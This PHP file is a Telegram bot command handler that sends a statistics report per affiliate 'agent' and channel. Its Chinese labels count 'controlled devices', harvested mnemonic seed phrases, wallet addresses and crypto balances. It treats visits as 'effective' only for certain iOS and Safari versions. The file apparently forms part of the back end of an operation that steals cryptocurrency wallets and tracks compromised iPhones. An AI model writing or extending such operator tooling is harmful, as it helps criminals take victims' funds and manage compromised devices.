168 lines
5.4 KiB
PHP
168 lines
5.4 KiB
PHP
<?php
|
||
|
||
namespace App\Telegram\Handlers;
|
||
|
||
use App\Models\Channel;
|
||
use App\Services\DashboardStatsService;
|
||
use App\Telegram\TelegramBotContext;
|
||
use SergiX44\Nutgram\Nutgram;
|
||
|
||
class DataCommand
|
||
{
|
||
public function __construct(
|
||
private readonly DashboardStatsService $stats,
|
||
private readonly TelegramBotContext $context,
|
||
) {}
|
||
|
||
public function __invoke(Nutgram $bot, ?string $args = null): void
|
||
{
|
||
$parts = preg_split('/\s+/', trim((string) $args)) ?: [];
|
||
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
|
||
|
||
$days = null;
|
||
$channelId = '';
|
||
|
||
if (isset($parts[0]) && in_array($parts[0], ['1', '7', '30'], true)) {
|
||
$days = $parts[0];
|
||
$channelId = $parts[1] ?? '';
|
||
} elseif (isset($parts[0])) {
|
||
$parsed = $this->parseChannelId($parts[0]);
|
||
if ($parsed === null) {
|
||
$bot->sendMessage(
|
||
"Usage: /data [1|7|30] [channelId]\n"
|
||
."Omit days for today. Omit channelId for all channels.\n"
|
||
."channelId: 旧版 32 位 hex,或新版 X.Y.ZZ(如 0.0.01)"
|
||
);
|
||
|
||
return;
|
||
}
|
||
$channelId = $parsed;
|
||
}
|
||
|
||
if ($channelId !== '') {
|
||
$parsed = $this->parseChannelId($channelId);
|
||
if ($parsed === null) {
|
||
$bot->sendMessage('channelId 无效(需 32 位 hex 或新版 X.Y.ZZ)');
|
||
|
||
return;
|
||
}
|
||
$channelId = $parsed;
|
||
}
|
||
|
||
$agent = $this->context->agent();
|
||
|
||
if ($agent !== null && $channelId !== '') {
|
||
$owned = Channel::query()
|
||
->where('user_id', $agent->id)
|
||
->where('channel_id', $channelId)
|
||
->exists();
|
||
if (! $owned) {
|
||
$bot->sendMessage('⛔ 无权查看该渠道');
|
||
|
||
return;
|
||
}
|
||
}
|
||
|
||
try {
|
||
$range = $this->stats->rangeFromDays($days);
|
||
} catch (\InvalidArgumentException $e) {
|
||
$bot->sendMessage($e->getMessage());
|
||
|
||
return;
|
||
}
|
||
|
||
$data = $this->stats->collect([
|
||
'range' => $range,
|
||
'channel_id' => $channelId,
|
||
'channel_exact' => $channelId !== '',
|
||
'agent' => $agent,
|
||
]);
|
||
|
||
$channelLabel = $this->channelLabel($channelId, $agent !== null);
|
||
|
||
$lines = [
|
||
'📊 仪表盘统计',
|
||
'区间: '.$data['from'].' ~ '.$data['to'],
|
||
'渠道: '.$channelLabel,
|
||
'',
|
||
'📦 设备与资产(区间内)',
|
||
'总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)',
|
||
'新增设备: '.$data['new_count'],
|
||
'活跃设备: '.$data['active_count'],
|
||
'助记词: '.$data['mnemonic_count'],
|
||
'钱包地址: '.$data['address_count'],
|
||
'',
|
||
'💰 总余额(区间内新增地址)',
|
||
'• USDT '.$data['balances']['usdt'],
|
||
'• TRX '.$data['balances']['trx'],
|
||
'• BTC '.$data['balances']['btc'],
|
||
'• ETH '.$data['balances']['eth'],
|
||
'• BNB '.$data['balances']['bnb'],
|
||
'',
|
||
'🌐 页面访问',
|
||
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
|
||
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
|
||
'有效口径: iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 + Safari,不含 15.8.8 / 16.7.10+',
|
||
'',
|
||
'访问 · 按系统 (UV / 占比):',
|
||
];
|
||
|
||
foreach ($data['by_os'] as $row) {
|
||
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
|
||
}
|
||
|
||
$lines[] = '';
|
||
$lines[] = '访问 · 按 iOS 版本 (UV / 占比):';
|
||
if ($data['by_ios_version'] === []) {
|
||
$lines[] = '• 暂无';
|
||
} else {
|
||
foreach ($data['by_ios_version'] as $row) {
|
||
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
|
||
}
|
||
}
|
||
|
||
$lines[] = '';
|
||
$lines[] = '受控设备 · 系统版本分布:';
|
||
if ($data['by_device_ios_version'] === []) {
|
||
$lines[] = '• 暂无';
|
||
} else {
|
||
foreach ($data['by_device_ios_version'] as $row) {
|
||
$lines[] = sprintf('• %s %d 台 %s%%', $row['label'], $row['count'], $row['pct']);
|
||
}
|
||
}
|
||
|
||
$bot->sendMessage(implode("\n", $lines));
|
||
}
|
||
|
||
/**
|
||
* Accept old 32-hex or new X.Y.ZZ channel ids.
|
||
*/
|
||
private function parseChannelId(string $raw): ?string
|
||
{
|
||
$raw = trim($raw);
|
||
if ($raw === '') {
|
||
return '';
|
||
}
|
||
if (preg_match('/^[0-9a-f]{32}$/i', $raw)) {
|
||
return strtolower($raw);
|
||
}
|
||
|
||
return Channel::normalizeNewChannelId($raw);
|
||
}
|
||
|
||
private function channelLabel(string $channelId, bool $agentScoped): string
|
||
{
|
||
if ($channelId === '') {
|
||
return $agentScoped ? '本代理全部' : '全部';
|
||
}
|
||
|
||
$row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']);
|
||
if ($row === null) {
|
||
return $channelId;
|
||
}
|
||
$remark = trim((string) ($row->remark ?? ''));
|
||
|
||
return $remark !== '' ? $channelId.'/'.$remark : $channelId;
|
||
}
|
||
}
|